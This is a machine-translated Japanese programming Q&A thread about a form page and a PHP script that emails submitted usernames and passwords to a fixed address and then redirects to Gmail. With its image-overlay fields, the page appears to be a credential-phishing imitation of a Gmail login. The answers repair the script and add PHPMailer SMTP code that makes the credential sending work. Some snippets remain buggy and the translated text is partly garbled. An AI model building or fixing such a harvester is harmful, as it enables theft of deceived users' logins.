2016-07-28 4 views
-5

私は初心者で、自分自身に仕事を割り当てています。フォームを追加したHTMLページを作成しました。それは次のようになります。form_submitで電子メールを送信するにはどうすればよいですか?

<body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;"> 

<form action="send.php" method="post"> 
<input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0"> 
<input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1"> 
<input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22>  </a></div> 
</form> 

とPHPファイル 'send.php':

<?php 
if(isset($_POST['submit'])){ 
$to = "[email protected]"; // <mail-ul nostru 
$user_name = $_POST['username']; 
$password = $_POST['password']; 
$subject = "You got mail!"; 
$message = $username . " " . $password . "; 
mail($to,$subject,$message,$headers); 
} 
header (Location: "www.gmail.com"); 
?> 

送信ボタンが私のHTMLに押されたときに、私はエラーを取得します。

+1

は、あなたの質問にエラーを記載してください。 – Pete

+0

これを使用してください:$ message = $ username。 "" $パスワード;適切なエディタを使用して、これらのことに気づくことができます。この場合でも、 –

+0

は '$ message'の最後に引用符または余分な引用符がありません – RamRaider

答えて

-1
<?php 
if(isset($_POST['submit'])){ 
$to = "[email protected]"; // <mail-ul nostru 
$user_name = $_POST['username']; 
$password = $_POST['password']; 
$subject = "You got mail!"; 
$message = $username . " " . $password; 
mail($to,$subject,$message); 
} 
header ("Location: https://www.gmail.com"); 
?> 
+0

あなたのコードは元のものと同じように欠陥があり、コードのみの回答があります将来の訪問者にとってはめったに役に立たないこと、あなたが何を変えたのか、OPが欠けていたことを詳しく教えてください。 – Epodax

+0

ここで何も変更されていません。それは何ですか? – Tobo

+0

$ header変数とヘッダの場所を引用符で囲んでいないメール機能 ドットパスワードなし$ password;) –

0

$header = "From: [email protected]";

ISSETブロックの内部にこれを追加します。メール機能が動作する場合にのみヘッダーを使用します。 this-

if(mail('','','','')){ 
//redirect line here 
}else{ 
//error statement here 
} 

同様

は、あなたの変数の$ user_nameと$ユーザ名を確認してください。これはメールで$ passwordの値だけを送信し、あなたはユーザー名がどこに行くのか不思議に思っています!私はこれを難しい方法で学んだので、ユーザー名に注意してください。 _を使用することをお勧めします。ここで

は、私が何を意味するかである

<?php 
if(isset($_POST['submit'])){ 
$to = "[email protected]"; // this id will get the mail 
$user_name = $_POST['username']; 
$password = $_POST['password']; 
$subject = "You got mail!"; 
$header = "From: [email protected]";//this is where the mail. comes from. you were missing this parameter. it was not created 
$message = $user_name . " " . $password . "; 
if(mail($to,$subject,$message,$headers)){ //this is true if mail is sent other wise it will go into else block 
header (Location: "www.gmail.com"); 
}else{ 
echo 'Mail was not sent...'; //or redirect to some other page if you like 
} 
} 

?> 

は、この情報がお役に立てば幸い!あなたが他のものを持っているかどうか私に教えてください。

+0

お返事ありがとうございます。 私は実際にどこに追加すべきか分かりません。私のファイルに正確なコードを貼り付けてもらえますか? ありがとうございます。私はあなたに大きな時間を借りています:) – Tobo

+0

@Tobo私は自分の答えを編集した、あなたはほとんどあなたのsend.phpページに貼り付けてコピーすることができます。それがあなたのために働く場合、答えとして私の解決策を受け入れてください!感謝と幸せなコーディング! – walimbeakshay

0

ダウンロードしてphpmailerの約読み、使用後のコード:

      <?php 
         if (isset ($_POST ['submit'])) { 
          require 'PHPMailer/PHPMailerAutoload.php'; 

          $mail = new PHPMailer(); 

          $mail->isSMTP(); // Set mailer to use SMTP 
          $mail->Host = 'smtp.gmail.com'; // Specify main and backup SMTP servers 
          $mail->SMTPAuth = true; // Enable SMTP authentication 
          $mail->Username = '[email protected]'; // SMTP username 
          $mail->Password = 'password'; // SMTP password 
          $mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted 
          $mail->Port = 587; // TCP port to connect to 

          $mail->setFrom ('Fromemailaddress', 'xyz'); 
          $mail->addReplyTo ('toemailaddress', 'xyz'); 
          $mail->addAddress ('Fromemailaddress'); // Add a recipient 
                     // $mail->addCC('[email protected]mple.com'); 
                     // $mail->addBCC('[email protected]'); 

          $mail->isHTML (true); // Set email format to HTML 

          $bodyContent = '<h1>hello </h1>'; 
          $bodyContent .= '<p>This is my 1st email through php</p>'; 

          $mail->Subject = 'Email from Localhost by CodexWorld'; 
          $mail->Body = $bodyContent; 

          if (! $mail->send()) { 
           echo 'Message could not be sent.'; 
           echo 'Mailer Error: ' . $mail->ErrorInfo; 
          } else { 
           echo 'Message has been sent'; 
          } 
         } 

         ?> 
     <form action="#" method="post"> 
      <input name="username" type="text"> <input name="password" 
       type="password"> <input type="submit" name="submit" id="submit" /> 
     </form> 
0

のメール利用phpmailerの(https://github.com/PHPMailer/PHPMailer

使用して、このコードを送信:明らか

<?php 
    include("class.phpmailer.php"); 
    include("class.pop3.php"); 
    include("class.smtp.php"); 

    $messaggio_pre = new PHPmailer(); 
    $messaggio_pre->IsSMTP(); // attiva l'invio tramiteSMTP 
    $messaggio_pre->Host = "localhost"; // indirizzo smtp 
    $messaggio_pre->IsSMTP(); 
    $messaggio_pre->SMTPAuth = true; 
    $messaggio_pre->IsHTML(true); 
    $messaggio_pre->Host='YourHost'; //compile 
    $messaggio_pre->Username = '[email protected]'; //compile 
    $messaggio_pre->Password = 'password'; //compile 
    $messaggio_pre->From='[email protected]'; //compile 
    $messaggio_pre->FromName='FromName'; //compile 
    $messaggio_pre->AddAddress([email protected]); //compile 
    $messaggio_pre->Subject='YourSubject'; //compile 
    $messaggio_pre->Body.='Text text!'; //compile 
    if(!$messaggio_pre->Send()){ 
     echo $messaggio_pre->ErrorInfo;     
    }    
    $messaggio_pre->SmtpClose();     
    unset($messaggio_pre);  
?> 

あなたは3を含める必要がありますファイル。リスト: - class.phpmailer.php - class.pop3.php - class.smtp.php